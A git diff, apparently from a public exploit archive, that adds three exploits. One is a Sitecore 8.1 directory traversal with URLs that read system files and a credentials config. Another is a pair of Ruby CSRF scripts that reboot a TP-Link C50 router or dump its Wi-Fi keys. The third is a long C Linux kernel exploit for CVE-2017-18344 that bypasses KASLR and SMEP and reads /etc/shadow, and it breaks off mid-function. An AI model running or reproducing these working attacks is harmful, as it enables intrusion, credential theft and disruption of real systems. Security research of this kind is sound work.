diff --git a/exploits/aspx/webapps/45152.txt b/exploits/aspx/webapps/45152.txt new file mode 100644 index 000000000..77bf5a971 --- /dev/null +++ b/exploits/aspx/webapps/45152.txt @@ -0,0 +1,32 @@ +# Exploit Title: Sitecore.Net 8.1 - Directory Traversal +# Date: 2018-04-23 +# CVE: CVE-2018-7669 +# Researcher: Chris Moberly at The Missing Link Security +# Vendor: Sitecore +# Version: CMS - 8.1 and up (earlier versions untested) +# Authentication required: Yes + +# An issue was discovered in Sitecore CMS that affects at least +# 'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer' +# application is vulnerable to a directory traversal attack, allowing an attacker +# to access arbitrary files from the host Operating System using a +# 'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation +# is performed to ensure that the text passed to the 'file' parameter correlates +# to the correct log file directory. This filter can be bypassed by including a +# valid log filename and then appending a traditional 'dot dot' style attack. + +# [Steps to Reproduce] +# The 'Log Viewer' application renders log files from the local filesystem inside +# the web browser using a URL like the following: +http:///sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file= + +# The following URL can be used to validate the vulnerability by accessing the +# win.ini file on a Windows host (remove line breaks): +http:///sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c%5cdata%5clogs%5.txt\..\..\..\..\..\windows\win.ini + +# The following URL can be used to access the application's configuration file +# containing SQL login credentials (remove line breaks): +http:///sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c%5cdata%5clogs%5c.txt\..\..\..\Website\App_Config\ConnectionStrings.config + +# Both of the above URLs are dependent on the application's configuration and +# must be modified to correct the and portion. \ No newline at end of file diff --git a/exploits/hardware/webapps/45172.rb b/exploits/hardware/webapps/45172.rb new file mode 100755 index 000000000..857e063e5 --- /dev/null +++ b/exploits/hardware/webapps/45172.rb @@ -0,0 +1,43 @@ +# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Remote Reboot) +# Date: 2018-08-09 +# Exploit Author: Wadeek +# Vendor Homepage: https://www.tp-link.com/ +# Hardware Version: Archer C50 v3 00000001 +# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware +# Firmware Version: <= Build 171227 + + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +url = "http://192.168.0.1:80/" +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +require('mechanize') +agent = Mechanize.new() + +def reboot(agent, url, path, query) +begin + response = agent.post(url+path, query, { + "User-Agent" => "", + "Accept" => "*/*", + "Referer" => "http://192.168.0.1/mainFrame.htm", + "Content-Type" => "text/plain", + "Connection" => "keep-alive", + "Cookie" => "" + }) +rescue Exception => e + begin + puts(e.inspect()) + puts(e.page().body()) + rescue + end + puts("") +else + puts(path) + puts(response.body()) + puts("") +end +end + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +reboot(agent, url, "cgi?7", "[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n") +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \ No newline at end of file diff --git a/exploits/hardware/webapps/45173.rb b/exploits/hardware/webapps/45173.rb new file mode 100755 index 000000000..e880139ae --- /dev/null +++ b/exploits/hardware/webapps/45173.rb @@ -0,0 +1,46 @@ +# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure) +# Date: 2018-08-09 +# Exploit Author: Wadeek +# Vendor Homepage: https://www.tp-link.com/ +# Hardware Version: Archer C50 v3 00000001 +# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware +# Firmware Version: <= Build 171227 + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +url = "http://192.168.0.1:80/" +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +require('mechanize') +agent = Mechanize.new() + +def dump(agent, url, path, query) +begin + response = agent.post(url+path, query, { + "User-Agent" => "", + "Accept" => "*/*", + "Referer" => "http://192.168.0.1/mainFrame.htm", + "Content-Type" => "text/plain", + "Connection" => "keep-alive", + "Cookie" => "" + }) +rescue Exception => e + begin + puts(e.inspect()) + puts(e.page().body()) + rescue + end + puts("") +else + puts(path) + puts(response.body()) + puts("") +end +end + +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# Get Wireless Settings +dump(agent, url, "cgi?5", "[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,10\r\nname\r\nenable\r\nstandard\r\nSSID\r\nregulatoryDomain\r\npossibleChannels\r\nautoChannelEnable\r\nchannel\r\nX_TP_PreSharedKey\r\nX_TP_Band\r\n") + +# Get DDNS Settings +dump(agent, url, "cgi?1&1&1", "[DYN_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n[CMX_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]2,0\r\n") +#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \ No newline at end of file diff --git a/exploits/linux/local/45175.c b/exploits/linux/local/45175.c new file mode 100644 index 000000000..e98a8c999 --- /dev/null +++ b/exploits/linux/local/45175.c @@ -0,0 +1,1560 @@ +// A proof-of-concept exploit for CVE-2017-18344. +// Includes KASLR and SMEP bypasses. No SMAP bypass. +// No support for 1 GB pages or 5 level page tables. +// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic +// and on CentOS 7 3.10.0-862.9.1.el7.x86_64. +// +// gcc pwn.c -o pwn +// +// $ ./pwn search 'root:!:' +// [.] setting up proc reader +// [~] done +// [.] checking /proc/cpuinfo +// [~] looks good +// [.] setting up timer +// [~] done +// [.] finding leak pointer address +// [+] done: 000000022ca45b60 +// [.] mapping leak pointer page +// [~] done +// [.] divide_error: ffffffffad6017b0 +// [.] kernel text: ffffffffacc00000 +// [.] page_offset_base: ffffffffade48a90 +// [.] physmap: ffff8d40c0000000 +// [.] task->mm->pgd: ffffffffade0a000 +// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:': +// [.] now at 0000000000000000 +// [.] now at 0000000002000000 +// [.] now at 0000000004000000 +// ... +// [.] now at 000000008c000000 +// [.] now at 000000008e000000 +// [.] now at 0000000090000000 +// [+] found at 0000000090ff3000 +// [+] done +// +// $ ./pwn phys 0000000090ff3000 1000 shadow +// [.] setting up proc reader +// [~] done +// [.] checking /proc/cpuinfo +// [~] looks good +// [.] setting up timer +// [~] done +// [.] finding leak pointer address +// [+] done: 000000022ca45b60 +// [.] mapping leak pointer page +// [~] done +// [.] divide_error: ffffffffad6017b0 +// [.] kernel text: ffffffffacc00000 +// [.] page_offset_base: ffffffffade48a90 +// [.] physmap: ffff8d40c0000000 +// [.] task->mm->pgd: ffffffffade0a000 +// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000): +// [+] done +// +// $ cat shadow +// root:!:17612:0:99999:7::: +// daemon:*:17590:0:99999:7::: +// bin:*:17590:0:99999:7::: +// ... +// saned:*:17590:0:99999:7::: +// usbmux:*:17590:0:99999:7::: +// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7::: +// +// Andrey Konovalov + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define DEBUG 0 + +// CentOS 7 3.10.0-862.9.1.el7.x86_64 +#define KERNEL_START 0xffffffff81000000ul +#define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START) +#define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START) +#define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START) +#define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START) +#define O_TASK_STRUCT_TASKS 1072 +#define O_TASK_STRUCT_MM 1128 +#define O_TASK_STRUCT_PID 1188 +#define O_MM_STRUCT_MMAP 0 +#define O_MM_STRUCT_PGD 88 +#define O_VM_AREA_STRUCT_VM_START 0 +#define O_VM_AREA_STRUCT_VM_END 8 +#define O_VM_AREA_STRUCT_VM_NEXT 16 +#define O_VM_AREA_STRUCT_VM_FLAGS 80 + +#if 0 +// Ubuntu xenial 4.4.0-116-generic +#define KERNEL_START 0xffffffff81000000ul +#define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START) +#define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START) +#define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START) +#define O_PAGE_OFFSET_BASE 0 +#define O_TASK_STRUCT_TASKS 848 +#define O_TASK_STRUCT_MM 928 +#define O_TASK_STRUCT_PID 1096 +#define O_MM_STRUCT_MMAP 0 +#define O_MM_STRUCT_PGD 64 +#define O_VM_AREA_STRUCT_VM_START 0 +#define O_VM_AREA_STRUCT_VM_END 8 +#define O_VM_AREA_STRUCT_VM_NEXT 16 +#define O_VM_AREA_STRUCT_VM_FLAGS 80 +#endif + +#if 0 +// Ubuntu xenial 4.13.0-38-generic +#define KERNEL_START 0xffffffff81000000ul +#define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START) +#define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START) +#define O_INIT_MM (0xffffffff82302760ul - KERNEL_START) +#define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START) +#define O_TASK_STRUCT_TASKS 2048 +#define O_TASK_STRUCT_MM 2128 +#define O_TASK_STRUCT_PID 2304 +#define O_MM_STRUCT_MMAP 0 +#define O_MM_STRUCT_PGD 80 +#define O_VM_AREA_STRUCT_VM_START 0 +#define O_VM_AREA_STRUCT_VM_END 8 +#define O_VM_AREA_STRUCT_VM_NEXT 16 +#define O_VM_AREA_STRUCT_VM_FLAGS 80 +#endif + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#ifndef SYS_memfd_create +#define SYS_memfd_create 319 +#endif + +#ifndef O_PATH +#define O_PATH 010000000 +#endif + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define PAGE_SHIFT 12 +#define PAGE_SIZE (1ul << PAGE_SHIFT) +#define PAGE_MASK (~(PAGE_SIZE - 1)) + +#define HUGE_PAGE_SHIFT 21 +#define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT) +#define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1)) + +#define TASK_SIZE (1ul << 47) +#define PAGE_OFFSET_BASE 0xffff880000000000ul + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define LOG_INFO 1 +#define LOG_DEBUG 2 + +#define log(level, format, args...) \ + do { \ + if (level == LOG_INFO) \ + printf(format, ## args); \ + else \ + fprintf(stderr, format, ## args); \ + } while(0) + +#define info(format, args...) log(LOG_INFO, format, ## args) + +#if (DEBUG >= 1) +#define debug1(format, args...) log(LOG_DEBUG, format, ## args) +#else +#define debug1(format, args...) +#endif + +#if (DEBUG >= 2) +#define debug2(format, args...) log(LOG_DEBUG, format, ## args) +#else +#define debug2(format, args...) +#endif + +#define min(x, y) ((x) < (y) ? (x) : (y)) + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static void print_chunk(int level, unsigned long src_addr, char *buffer, + int len, int chunk_size) { + int i; + + assert(len <= chunk_size); + + log(level, "%016lx: ", src_addr); + for (i = 0; i < len; i++) + log(level, "%02hx ", (unsigned char)buffer[i]); + for (i = len; i < chunk_size; i++) + log(level, " "); + + log(level, " "); + + for (i = 0; i < len; i++) { + if (isalnum(buffer[i])) + log(level, "%c", buffer[i]); + else + log(level, "."); + } + + log(level, "\n"); +} + +static void print_bytes(int level, unsigned long src_addr, char *buffer, + int len) { + int chunk_size = 16; + assert(chunk_size % 2 == 0); + + int chunk; + for (chunk = 0; chunk < len / chunk_size; chunk++) + print_chunk(level, src_addr + chunk * chunk_size, + &buffer[chunk * chunk_size], chunk_size, chunk_size); + + int rem = len % chunk_size; + if (rem != 0) + print_chunk(level, src_addr + len - rem, + &buffer[len - rem], rem, chunk_size); +} + + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define MIN_KERNEL_BASE 0xffffffff81000000ul +#define MAX_KERNEL_BASE 0xffffffffff000000ul +#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB + +#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) +#define MMAP_ADDR_START 0x200000000ul +#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) + +#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) +// == 0x4fe00000 + +#define MAX_MAPPINGS 1024 +#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static struct proc_reader g_proc_reader; +static unsigned long g_leak_ptr_addr = 0; + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define PROC_INITIAL_SIZE 1024 +#define PROC_CHUNK_SIZE 1024 + +struct proc_reader { + char *buffer; + int buffer_size; + int read_size; +}; + +static void proc_init(struct proc_reader* pr) { + debug2("proc_init: %016lx\n", pr); + + pr->buffer = malloc(PROC_INITIAL_SIZE); + if (pr->buffer == NULL) { + perror("[-] proc_init: malloc()"); + exit(EXIT_FAILURE); + } + pr->buffer_size = PROC_INITIAL_SIZE; + pr->read_size = 0; + + debug2("proc_init = void\n"); +} + +static void proc_ensure_size(struct proc_reader* pr, int size) { + if (pr->buffer_size >= size) + return; + while (pr->buffer_size < size) + pr->buffer_size <<= 1; + pr->buffer = realloc(pr->buffer, pr->buffer_size); + if (pr->buffer == NULL) { + perror("[-] proc_ensure_size: realloc()"); + exit(EXIT_FAILURE); + } +} + +static int proc_read(struct proc_reader* pr, const char *file) { + debug2("proc_read: file: %s, pr->buffer_size: %d\n", + file, pr->buffer_size); + + int fd = open(file, O_RDONLY); + if (fd == -1) { + perror("[-] proc_read: open()"); + exit(EXIT_FAILURE); + } + + pr->read_size = 0; + while (true) { + proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); + int bytes_read = read(fd, &pr->buffer[pr->read_size], + PROC_CHUNK_SIZE); + if (bytes_read == -1) { + perror("[-] read(proc)"); + exit(EXIT_FAILURE); + } + pr->read_size += bytes_read; + if (bytes_read < PROC_CHUNK_SIZE) + break; + } + + close(fd); + + debug2("proc_read = %d\n", pr->read_size); + return pr->read_size; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +typedef union k_sigval { + int sival_int; + void *sival_ptr; +} k_sigval_t; + +#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) +#define SIGEV_MAX_SIZE 64 +#define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ + / sizeof(int)) + +typedef struct k_sigevent { + k_sigval_t sigev_value; + int sigev_signo; + int sigev_notify; + union { + int _pad[SIGEV_PAD_SIZE]; + int _tid; + + struct { + void (*_function)(sigval_t); + void *_attribute; + } _sigev_thread; + } _sigev_un; +} k_sigevent_t; + +static void leak_setup() { + k_sigevent_t se; + memset(&se, 0, sizeof(se)); + se.sigev_signo = SIGRTMIN; + se.sigev_notify = OPTIMAL_PTR_OFFSET; + timer_t timerid = 0; + + int rv = syscall(SYS_timer_create, CLOCK_REALTIME, + (void *)&se, &timerid); + if (rv != 0) { + perror("[-] timer_create()"); + exit(EXIT_FAILURE); + } +} + +static void leak_parse(char *in, int in_len, char **start, char **end) { + const char *needle = "notify: "; + *start = memmem(in, in_len, needle, strlen(needle)); + assert(*start != NULL); + *start += strlen(needle); + + assert(in_len > 0); + assert(in[in_len - 1] == '\n'); + *end = &in[in_len - 2]; + while (*end > in && **end != '\n') + (*end)--; + assert(*end > in); + while (*end > in && **end != '/') + (*end)--; + assert(*end > in); + assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); + + assert(*end >= *start); +} + +static void leak_once(char **start, char **end) { + int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); + leak_parse(g_proc_reader.buffer, read_size, start, end); +} + +static int leak_once_and_copy(char *out, int out_len) { + assert(out_len > 0); + + char *start, *end; + leak_once(&start, &end); + + int size = min(end - start, out_len); + memcpy(out, start, size); + + if (size == out_len) + return size; + + out[size] = 0; + return size + 1; +} + +static void leak_range(unsigned long addr, size_t length, char *out) { + size_t total_leaked = 0; + while (total_leaked < length) { + unsigned long addr_to_leak = addr + total_leaked; + *(unsigned long *)g_leak_ptr_addr = addr_to_leak; + debug2("leak_range: offset %ld, addr: %lx\n", + total_leaked, addr_to_leak); + int leaked = leak_once_and_copy(out + total_leaked, + length - total_leaked); + total_leaked += leaked; + } +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static void mmap_fixed(unsigned long addr, size_t size) { + void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (rv != (void *)addr) { + perror("[-] mmap()"); + exit(EXIT_FAILURE); + } +} + +static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, + unsigned long end) { + int page_size = PAGE_SIZE; + assert(fd_size % page_size == 0); + assert(start % page_size == 0); + assert(end % page_size == 0); + assert((end - start) % fd_size == 0); + + debug1("mmap_fd_over: [%lx, %lx)\n", start, end); + + unsigned long addr; + for (addr = start; addr < end; addr += fd_size) { + void *rv = mmap((void *)addr, fd_size, PROT_READ, + MAP_FIXED | MAP_PRIVATE, fd, 0); + if (rv != (void *)addr) { + perror("[-] mmap()"); + exit(EXIT_FAILURE); + } + } + + debug1("mmap_fd_over = void\n"); +} + +static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, + unsigned long end) { + int rv = munmap((void *)start, end - start); + if (rv != 0) { + perror("[-] munmap()"); + exit(EXIT_FAILURE); + } + mmap_fd_over(fd, fd_size, start, end); +} + +#define MEMFD_CHUNK_SIZE 0x1000 + +static int create_filled_memfd(const char *name, unsigned long size, + unsigned long value) { + int i; + char buffer[MEMFD_CHUNK_SIZE]; + + assert(size % MEMFD_CHUNK_SIZE == 0); + + int fd = syscall(SYS_memfd_create, name, 0); + if (fd < 0) { + perror("[-] memfd_create()"); + exit(EXIT_FAILURE); + } + + for (i = 0; i < sizeof(buffer) / sizeof(value); i++) + *(unsigned long *)&buffer[i * sizeof(value)] = value; + + for (i = 0; i < size / sizeof(buffer); i++) { + int bytes_written = write(fd, &buffer[0], sizeof(buffer)); + if (bytes_written != sizeof(buffer)) { + perror("[-] write(memfd)"); + exit(EXIT_FAILURE); + } + } + + return fd; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static const char *evil = "evil"; +static const char *good = "good"; + +static bool bisect_probe() { + char *start, *end; + leak_once(&start, &end); + return *start == 'g'; +} + +static unsigned long bisect_via_memfd(unsigned long fd_size, + unsigned long start, unsigned long end) { + assert((end - start) % fd_size == 0); + + int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); + int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); + + unsigned long left = 0; + unsigned long right = (end - start) / fd_size; + + while (right - left > 1) { + unsigned long middle = left + (right - left) / 2; + remap_fd_over(fd_evil, fd_size, start + left * fd_size, + start + middle * fd_size); + remap_fd_over(fd_good, fd_size, start + middle * fd_size, + start + right * fd_size); + bool probe = bisect_probe(); + if (probe) + left = middle; + else + right = middle; + } + + int rv = munmap((void *)start, end - start); + if (rv != 0) { + perror("[-] munmap()"); + exit(EXIT_FAILURE); + } + + close(fd_evil); + close(fd_good); + + return start + left * fd_size; +} + +static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { + int word_size = sizeof(unsigned long); + + assert((end - start) % word_size == 0); + assert((end - start) % PAGE_SIZE == 0); + + mmap_fixed(start, end - start); + + unsigned long left = 0; + unsigned long right = (end - start) / word_size; + + while (right - left > 1) { + unsigned long middle = left + (right - left) / 2; + unsigned long a; + for (a = left; a < middle; a++) + *(unsigned long *)(start + a * word_size) = + (unsigned long)evil; + for (a = middle; a < right; a++) + *(unsigned long *)(start + a * word_size) = + (unsigned long)good; + bool probe = bisect_probe(); + if (probe) + left = middle; + else + right = middle; + } + + int rv = munmap((void *)start, end - start); + if (rv != 0) { + perror("[-] munmap()"); + exit(EXIT_FAILURE); + } + + return start + left * word_size; +} + +static unsigned long bisect_leak_ptr_addr() { + unsigned long addr = bisect_via_memfd( + MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); + debug1("%lx %lx\n", addr, addr + MEMFD_SIZE); + addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); + debug1("%lx %lx\n", addr, addr + PAGE_SIZE); + addr = bisect_via_assign(addr, addr + PAGE_SIZE); + debug1("%lx\n", addr); + return addr; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define CPUINFO_SMEP 1 +#define CPUINFO_SMAP 2 +#define CPUINFO_KAISER 4 +#define CPUINFO_PTI 8 + +static int cpuinfo_scan() { + int length = proc_read(&g_proc_reader, "/proc/cpuinfo"); + char *buffer = &g_proc_reader.buffer[0]; + int rv = 0; + char* found = memmem(buffer, length, "smep", 4); + if (found != NULL) + rv |= CPUINFO_SMEP; + found = memmem(buffer, length, "smap", 4); + if (found != NULL) + rv |= CPUINFO_SMAP; + found = memmem(buffer, length, "kaiser", 4); + if (found != NULL) + rv |= CPUINFO_KAISER; + found = memmem(buffer, length, " pti", 4); + if (found != NULL) + rv |= CPUINFO_PTI; + return rv; +} + +static void cpuinfo_check() { + int rv = cpuinfo_scan(); + if (rv & CPUINFO_SMAP) { + info("[-] SMAP detected, no bypass available, aborting\n"); + exit(EXIT_FAILURE); + } +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static void arbitrary_read_init() { + info("[.] setting up proc reader\n"); + proc_init(&g_proc_reader); + info("[~] done\n"); + + info("[.] checking /proc/cpuinfo\n"); + cpuinfo_check(); + info("[~] looks good\n"); + + info("[.] setting up timer\n"); + leak_setup(); + info("[~] done\n"); + + info("[.] finding leak pointer address\n"); + g_leak_ptr_addr = bisect_leak_ptr_addr(); + info("[+] done: %016lx\n", g_leak_ptr_addr); + + info("[.] mapping leak pointer page\n"); + mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); + info("[~] done\n"); +} + +static void read_range(unsigned long addr, size_t length, char *buffer) { + leak_range(addr, length, buffer); +} + +static uint64_t read_8(unsigned long addr) { + uint64_t result; + read_range(addr, sizeof(result), (char *)&result); + return result; +} + +static uint32_t read_4(unsigned long addr) { + uint32_t result; + read_range(addr, sizeof(result), (char *)&result); + return result; +} + +static uint64_t read_field_8(unsigned long addr, int offset) { + return read_8(addr + offset); +} + +static uint64_t read_field_4(unsigned long addr, int offset) { + return read_4(addr + offset); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +struct idt_register { + uint16_t length; + uint64_t base; +} __attribute__((packed)); + +struct idt_gate { + uint16_t offset_1; // bits 0..15 + uint32_t shit_1; + uint16_t offset_2; // bits 16..31 + uint32_t offset_3; // bits 32..63 + uint32_t shit_2; +} __attribute__((packed)); + +static uint64_t idt_gate_addr(struct idt_gate *gate) { + uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) + + ((uint64_t)gate->offset_3 << 32); + return addr; +} + +static void get_idt(struct idt_register *idtr) { + asm ( "sidt %0" : : "m"(*idtr) ); + debug1("get_idt_base: base: %016lx, length: %d\n", + idtr->base, idtr->length); +} + +static void print_idt(int entries) { + char buffer[4096]; + struct idt_register idtr; + int i; + + get_idt(&idtr); + assert(idtr.length <= sizeof(buffer)); + read_range(idtr.base, idtr.length, &buffer[0]); + + info("base: %016lx, length: %d\n", idtr.base, + (int)idtr.length); + + entries = min(entries, idtr.length / sizeof(struct idt_gate)); + for (i = 0; i < entries; i++) { + struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; + uint64_t addr = idt_gate_addr(gate); + info("gate #%03d: %016lx\n", i, addr); + } +} + +static uint64_t read_idt_gate(int i) { + char buffer[4096]; + struct idt_register idtr; + + get_idt(&idtr); + assert(idtr.length <= sizeof(buffer)); + assert(i <= idtr.length / sizeof(struct idt_gate)); + read_range(idtr.base, idtr.length, &buffer[0]); + + struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; + uint64_t addr = idt_gate_addr(gate); + return addr; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define PTRS_PER_PGD 512 +#define PTRS_PER_PUD 512 +#define PTRS_PER_PMD 512 +#define PTRS_PER_PTE 512 + +#define PGD_SHIFT 39 +#define PUD_SHIFT 30 +#define PMD_SHIFT 21 + +#define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1)) +#define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1)) +#define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1)) +#define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)) + +#define _PAGE_BIT_PRESENT 0 +#define _PAGE_BIT_ACCESSED 5 +#define _PAGE_BIT_DIRTY 6 +#define _PAGE_BIT_PSE 7 +#define _PAGE_BIT_GLOBAL 8 +#define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL + +#define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT) +#define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED) +#define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY) +#define _PAGE_PSE (1ul << _PAGE_BIT_PSE) +#define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE) +#define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED) + +#define pgd_none(value) ((value) == 0) +#define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) +#define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) +#define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) + +#define __PHYSICAL_MASK_SHIFT 52 +#define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1) +#define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK) +#define PTE_PFN_MASK (PHYSICAL_PAGE_MASK) +#define PTE_FLAGS_MASK (~PTE_PFN_MASK) + +#define pgd_flags(value) (value & PTE_FLAGS_MASK) +#define pud_flags(value) (value & PTE_FLAGS_MASK) +#define pmd_flags(value) (value & PTE_FLAGS_MASK) +#define pte_flags(value) (value & PTE_FLAGS_MASK) + +#define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT) +#define pud_present(value) (pud_flags(value) & _PAGE_PRESENT) +#define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \ + _PAGE_PROTNONE | _PAGE_PSE)) +#define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \ + _PAGE_PROTNONE)) + +struct pte_entry { + unsigned long addr; + unsigned long entries[PTRS_PER_PTE]; +}; + +struct pmd_entry { + unsigned long addr; + struct { + bool huge; + union { + struct pte_entry *pte; + unsigned long phys; + }; + } entries[PTRS_PER_PMD]; +}; + +struct pud_entry { + unsigned long addr; + struct pmd_entry *entries[PTRS_PER_PUD]; +}; + +struct pgd_entry { + unsigned long addr; + struct pud_entry *entries[PTRS_PER_PGD]; +}; + +struct ptsc { + unsigned long physmap; + struct pgd_entry entry; +}; + +static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) { + struct pte_entry *entry = malloc(sizeof(*entry)); + if (!entry) { + perror("[-] malloc()"); + exit(EXIT_FAILURE); + } + entry->addr = addr; + memset(&entry->entries[0], 0, sizeof(entry->entries)); + return entry; +} + +static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) { + struct pmd_entry *entry = malloc(sizeof(*entry)); + 